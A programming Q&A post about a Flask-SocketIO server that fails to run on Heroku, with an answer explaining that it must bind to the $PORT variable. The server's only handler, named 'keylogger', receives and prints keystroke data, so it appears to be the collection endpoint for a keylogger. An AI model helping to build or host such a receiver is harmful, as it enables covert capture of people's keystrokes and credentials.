Flask-SocketIO server deploys to Heroku but doesn't run

Viewed 275

I have a simple Flask-SocketIO server on Python and a SocketIO_Client which emits data to the server, where it gets printed in the console once received. It all works fine on a localhost, however when trying to host the server on Heroku it successfully deploys, but seems to not be running. I get the following error in the CLI logs:

heroku[router]: at=error code=H14 desc="No web processes running" method=GET path="/" host=socket-server1337.herokuapp.com request_id=53e155e2-ba83-4862-84f8-b53014af539b fwd="..." dyno= connect= service= status=503 bytes= protocol=https

And when I try to connect to the server from the client I get this error:

heroku[router]: at=error code=H14 desc="No web processes running" method=GET path="//socket.io/?EIO=3&transport=polling&t=1623103978016-0" host=socket-server1337.herokuapp.com request_id=12d0acb9-b5e2-4cf8-8815-81edec9cf525 fwd="..." dyno= connect= service= status=503 bytes= protocol=https

This is the code of my server:

from flask import Flask, render_template
from flask_socketio import SocketIO, emit

app = Flask(__name__)
app.config['SECRET_KEY'] = 'secret'
socketio = SocketIO(app, cors_allowed_origins="*")

@socketio.on('keylogger')
def print_keystrokes(data):
    print(data["keylogged"])


if __name__ == '__main__':
    socketio.run(app)

This is my Procfile:

web: python Socket.py

I believe the problems lays in my Procfile configuration. I tried using Gunicorn with Gevent according to the flask-socketio documentation:

gunicorn -k geventwebsocket.gunicorn.workers.GeventWebSocketWorker -w 1 Socket:app

as well as with eventlet:

web: gunicorn --worker-class eventlet -w 1 Socket:app

However, nothing of the above worked. Any help would be well appreciated. Thanks in advance.

1 Answers

The problem is that Heroku needs your application to listen on a specific network port that they pass to your in the $PORT environment variable.

One way to address this would be to change the bottom line of your script as follows:

socketio.run(app, port=int(os.environ.get('PORT', 5000)))

You will also need to add an import os at the top of your script.

Related